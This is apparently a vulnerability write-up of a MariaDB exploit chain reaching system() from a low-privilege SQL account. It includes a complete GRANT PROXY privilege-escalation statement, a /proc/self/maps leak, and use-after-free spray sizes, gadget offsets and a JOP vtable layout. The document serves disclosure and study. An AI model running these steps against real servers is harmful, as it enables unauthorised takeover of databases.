August 14, 2026
MariaDB 13.0.1-rc RCE: Priv-Esc + Heap UAF + JOP Chain to system()
On the unmodified, stock MariaDB 13.0.1-rc Docker image, a chain of five steps gets an attacker from a low-privilege SQL account all the…
By Guidancewhite
4 min read
On the unmodified, stock MariaDB 13.0.1-rc Docker image, a chain of five steps gets an attacker from a low-privilege SQL account all the way to command execution as uid 999 (mysql). No host access, no docker commands, no direct /proc/<pid>/mem writes — every step is a plain SQL statement. Found with RAPTOR and raptor-loop-hunt (an autonomous offensive research framework and its iterative hunt plugin).
The chain:
GRANT PROXYprivilege escalation (F-09) — any account → full DBA- ASLR defeat via
/proc/self/mapsleak - SYS_REFCURSOR use-after-free (F-05, unfixed upstream 0day)
- Heap spray + JOP (Jump-Oriented Programming) chain
- A "pure SQL" trick for resolving a self-referential address, using glibc's mmap slot reuse
1. F-09 — Privilege Escalation: Hijacking root via GRANT PROXY
GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA '' ;GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA '' ;One statement, and any authenticated user becomes a full DBA. The root cause sits in the authentication-clause validation path.
- When the authentication clause is empty, as in
IDENTIFIED VIA '',LEX_USER::has_auth()returnsfalse. - A
falsefromhas_auth()skips the privilege-check routinecheck_alter_user(). - But downstream,
replace_user_table()still applies that empty auth clause — overwriting root's credentials with an empty password.
The gap is between "no auth info supplied → nothing to validate" and "no auth info supplied → apply it anyway, even if empty." No special privileges are required, and this reproduces on every released MariaDB version. The fix (dbd60d0ad8d, MDEV-40470) exists on dev branches but has not been backported to any release — verified from 13.0.1 through 10.6.27.
2. ASLR Defeat: Reading /proc/self/maps Through SQL
LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...On the stock image, secure_file_priv is unset (NULL). Combined with FILE privilege, LOAD DATA INFILE can read arbitrary files as the server process — including /proc/self/maps, which hands back the mariadbd process's own memory layout as SQL output. This directly leaks the PIE base and libc base. No separate info-leak bug is required; it's purely the combination of an unset config default and a built-in SQL file-read primitive. The addresses change on every run, but since they're read live from the running process each time, that's a non-issue for the exploit.
3. F-05 — SYS_REFCURSOR Use-After-Free (Unfixed 0day)
The vulnerable function is sp_cursor_array::get_cursor_by_ref().
Materialized_cursor::open() -> result->prepare()
-> mov rax, [result] ; rax = attacker's vtable pointer (V)
-> call [rax + 0x20] ; calls the D2 gadget (prepare()'s vtable slot)Materialized_cursor::open() -> result->prepare()
-> mov rax, [result] ; rax = attacker's vtable pointer (V)
-> call [rax + 0x20] ; calls the D2 gadget (prepare()'s vtable slot)This function returns an interior pointer into a Dynamic_array backing the cursor array. The array is managed via my_realloc, and that's where the bug lives:
- Attacker-controlled SQL running inside a cursor's
open()method opens additional cursors. - The cursor array has to grow,
my_reallocallocates new storage, and the old backing storage is freed. - The caller's already-cached pointer into the old storage is never updated — it's now dangling.
The freed chunk is exactly 16 cursors x 112 bytes = 1792 bytes. A heap spray of 128 user-variable copies, each sized at an exact-fit 1784 bytes, reclaims that chunk. The spray payload plants an attacker-controlled vtable pointer at offset 0x20 — the location of sp_cursor's result member — and the next virtual dispatch through that member hijacks control flow.
As of 2026–08–03, this bug is still unfixed upstream: zero commits to sql/sp_cursor.{cc,h} between the 13.0.1 tag and HEAD.
4. The JOP Chain: system() Without ROP or a Stack Pivot
Two gadgets from the stock mariadbd binary are enough to reach system().
GadgetOffsetInstructionPurposeD2PIE+0x80da77call *0x100(%rax)Stack alignment fixD1PIE+0xe3075bmov rdi,[rax+0xa8]; call [rax+0xa0]Load command pointer, call system()
The fake vtable V lives inside the 128 MiB buffer built earlier, laid out as:
V+0x20 = D2 (prepare()'s vtable slot)
V+0xa0 = system() (libc+0x5c560)
V+0xa8 = V+0x140 (pointer to the command string -> loaded into rdi)
V+0x100 = D1 (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"V+0x20 = D2 (prepare()'s vtable slot)
V+0xa0 = system() (libc+0x5c560)
V+0xa8 = V+0x140 (pointer to the command string -> loaded into rdi)
V+0x100 = D1 (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"This is a classic JOP chain: control flow moves purely through chained virtual-function calls, never touching the stack, so stack canaries and return-address protections are simply irrelevant here.
5. Resolving a Self-Referential Address Using Only SQL
There's a chicken-and-egg problem baked into the layout above: V+0xa8 needs to hold the address of the buffer itself (V+0x140), but that address isn't known until the buffer is allocated. This is solved with a quirk of glibc's mmap behavior.
-- Step 1: allocate a 128 MiB marker buffer
SET @fake = REPEAT(CHAR(0xDE), 134217728);
-- glibc hands out a dedicated mmap region (e.g. 0x8001000, data at +0x30)
-- the address is found by diffing /proc/self/maps before and after
-- Step 2: re-allocate with the full JOP layout, self-reference included
SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...));
-- glibc munmaps the old chunk and reuses the exact same slot,
-- so the address discovered in step 1 stays valid-- Step 1: allocate a 128 MiB marker buffer
SET @fake = REPEAT(CHAR(0xDE), 134217728);
-- glibc hands out a dedicated mmap region (e.g. 0x8001000, data at +0x30)
-- the address is found by diffing /proc/self/maps before and after
-- Step 2: re-allocate with the full JOP layout, self-reference included
SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...));
-- glibc munmaps the old chunk and reuses the exact same slot,
-- so the address discovered in step 1 stays validIn order:
- Allocate a 128 MiB marker buffer → glibc grants a dedicated mmap region → its address is recovered via a
/proc/self/mapsdiff. - Re-allocate the same variable with the complete layout → glibc reuses the same mmap slot → the self-reference baked in during step 1 remains valid.
- Each step re-reads
/proc/self/mapsto verify; if the address ever moved, the self-reference is re-baked and the write retried (converges in one iteration in practice).
The choice of 128 MiB is deliberate: glibc's dynamic mmap threshold can grow past 4 MiB after large frees, and 128 MiB reliably lands a dedicated mmap region regardless (128 MiB and 256 MiB were both verified). One catch — a buffer larger than max_allowed_packet simply fails, so SET GLOBAL max_allowed_packet has to be raised first, with a fresh connection afterward. The +0x30 data offset within the mmap region is also glibc/image-specific and is exposed as a DATA_OFF constant in the code for that reason
Full Attack Flow
1. GRANT PROXY ... -> root account hijacked (F-09)
2. LOAD DATA INFILE '/proc/self/maps' -> PIE/libc base recovered (ASLR defeat)
3. SET @fake = REPEAT(...) 128MiB -> mmap slot secured, address found via diff
4. SET @fake = CONCAT(... UNHEX(...)) -> self-referential JOP layout written
5. CALL uaf5 -> SYS_REFCURSOR UAF triggered (F-05)
-> heap spray reclaims the freed chunk
-> result->prepare() virtual call
-> D2 -> D1 -> system("sh -c '<cmd>'")
6. mariadbd is PID 1 -> container exits right after system() returns
-> restart, read the marker file as proof1. GRANT PROXY ... -> root account hijacked (F-09)
2. LOAD DATA INFILE '/proc/self/maps' -> PIE/libc base recovered (ASLR defeat)
3. SET @fake = REPEAT(...) 128MiB -> mmap slot secured, address found via diff
4. SET @fake = CONCAT(... UNHEX(...)) -> self-referential JOP layout written
5. CALL uaf5 -> SYS_REFCURSOR UAF triggered (F-05)
-> heap spray reclaims the freed chunk
-> result->prepare() virtual call
-> D2 -> D1 -> system("sh -c '<cmd>'")
6. mariadbd is PID 1 -> container exits right after system() returns
-> restart, read the marker file as proofAll that's required to run this is a MariaDB account with USAGE-only privileges and TCP reachability to port 3306 — no host shell, no docker commands, no /proc/<pid>/mem access, and no root password. (The repo also keeps a legacy host-assisted PoC, exploit.py, which writes the JOP chain via /proc/<pid>/mem from the Docker host — it's explicitly noted as superseded by the pure-SQL variant.)
What Makes This Chain Interesting
- F-09 is a pure logic bug in the auth-clause validation path, not a memory-safety issue, yet by itself it's a complete DBA takeover.
- The ASLR defeat needs no separate info-leak vulnerability — an unset
secure_file_privplusLOAD DATA INFILEis enough to pull/proc/self/mapsstraight out through SQL. - The UAF trigger is a reentrancy pattern that only exists at the SQL layer: SQL executed from inside a cursor callback grows the very cursor array the callback is iterating over.
- From heap grooming to resolving a self-referential pointer, SQL statements themselves are the exploitation primitive — no
/proc/<pid>/memwrites, no host-side tooling, and a correspondingly much smaller detection surface than the traditional approach.